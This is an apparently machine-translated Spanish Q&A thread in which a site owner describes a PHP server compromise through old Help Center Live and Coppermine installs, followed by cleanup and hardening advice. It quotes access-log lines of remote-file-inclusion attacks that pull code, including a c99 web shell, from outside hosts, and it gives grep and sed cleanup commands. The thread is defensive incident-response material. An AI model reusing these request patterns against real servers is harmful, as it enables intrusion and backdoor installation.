proteger - Ataque de inyección PHP: ¿cuál es la mejor forma de solucionar el problema?
proteger php contra sql injection (4)
1.) Mantenga un repositorio de los archivos que está utilizando para estas aplicaciones (por ejemplo, SVN o similar)
2.) Manténgase actualizado lo mejor posible con las actualizaciones de seguridad de cada aplicación (la mayoría tiene una fuente RSS)
3.) Haga una copia de seguridad de su DB regularmente
Si / cuando el! @ # $ Golpea al ventilador, puede comenzar de nuevo con una copia nueva del DB y volver a implementar el código desde SVN.
De vez en cuando, mi entorno de alojamiento compartido se ve comprometido porque, bueno, no pude mantener el portfolio de mis aplicaciones instaladas. La semana pasada, fue debido a una instalación vieja y no utilizada de una aplicación PHP llamada Help Center Live. El resultado fue que todos y cada uno de los archivos PHP en el servidor (y tengo varias instalaciones de Wordpress, Joomlas, SilverStripe) tuvieron un código agregado que eliminó los enlaces encubiertos de otros sitios y los incluyó en mi página. Otras personas informan que sus sitios fueron prohibidos en Google después de este tipo de ataque; afortunadamente, parece que lo atrapé lo suficientemente temprano. Solo lo noté cuando me dirigía a uno de los sitios desde mi teléfono, la página tenía los enlaces incluidos en el navegador móvil.
Encontré muchos intentos de ataque como este en el registro:
62.149.18.193 - - [06 / Feb / 2009: 14: 52: 45 +0000] "GET /support/module.php?module= HelpCenter // include / main.php? Config [search_disp] = true & include_dir = http: / /www.portlandonnuri.com/ 2008_web // technote7 / data / photo / id2.txt ??? HTTP / 1.1 "200 26" - "" libwww-perl / 5.814 "
Inmediatamente eliminé esta aplicación, y escribí un script que eliminó el código PHP ofensivo de cada archivo fuente. También encontré que el script había creado archivos HTML que contenían enlaces para incluir otros sitios infectados. Los eliminé también. Ahora me preocupa que el atacante haya dejado algo más que eché de menos: un archivo PHP en alguna parte que le dará acceso permanente. Las fechas del archivo fueron todas modificadas en el ataque, y no pude encontrar ningún otro archivo que se haya modificado durante el tiempo en cuestión. ¿Hay algo obvio que me he perdido, para asegurarme de que no haya puertas traseras en mi servidor?
Editar: también busco archivos de texto que contengan código de ataque, como el que se muestra en el fragmento de archivo de registro anterior. No encontré ninguno.
Otra edición: si encuentras esta publicación porque te encuentras en la misma situación, quizás esto te ayude. Lo usé para hacer una copia de seguridad de todos mis archivos fuente PHP antes de manipularlos:
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} /;
y esto para deshacer los cambios que el atacante había hecho:
find . -name *.php -exec sed -i ''/<?php ///*/*//eval(base64_decode(/d'' {} /;
No es una ciencia de cohetes, pero tampoco es trivial para un usuario ocasional de Linux / Unix como yo :-).
Otra edición: no puedo auditar cada línea de código en el servidor, pero puedo buscar datos sospechosos. Busqué todas las ocurrencias de "eval" y "base64" y no encontré nada que no pareciera legítimo. Luego ejecuté un grep para ".ru" (ya que los autores parecen proceder de allí) y, he aquí, encontré algo llamado shell c99, que rápidamente eliminé.
Edición final: descubrí cómo se cargó la carcasa c99, a través de un agujero en la galería de fotos de Coppermine.
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
La dirección IP, por cierto, es una IP alojada en Godaddy.
Después de que se haya incluido su sistema, realmente solo tiene dos opciones: auditar cada línea de cada aplicación o reinstalar todo. Como parece que todos estos son programas de fuente abierta o comerciales, probablemente sea mejor reinstalarlos todos. Realmente no hay una mejor manera de asegurarse de que no tenga una puerta trasera en uno de ellos ahora.
Un experto en seguridad probablemente le recomiende que reinstale completamente el sistema operativo también porque no puede estar seguro de que algún código no se deslizó en un lugar que afectará al sistema operativo, sin embargo, si sus permisos se configuraron correctamente, esto puede ser excesivo.
Hacemos una lista completa de directorios, todas las unidades y carpetas, a un archivo de texto cada día.
Nos ha ayudado a descubrir qué archivos se han mezclado, después del hecho, en el pasado.
No ayuda mucho con dónde se encuentra ahora, pero podría ayudar en el futuro.
(No impide que las cosas falsifiquen su tamaño / modifiquen la fecha, pero ayudará a resolver el problema de las cosas que no molestan)
Además de lo que otros dijeron, puede instalar algún sistema de detección de intrusiones (por ejemplo, PHPIDS , que es de código abierto).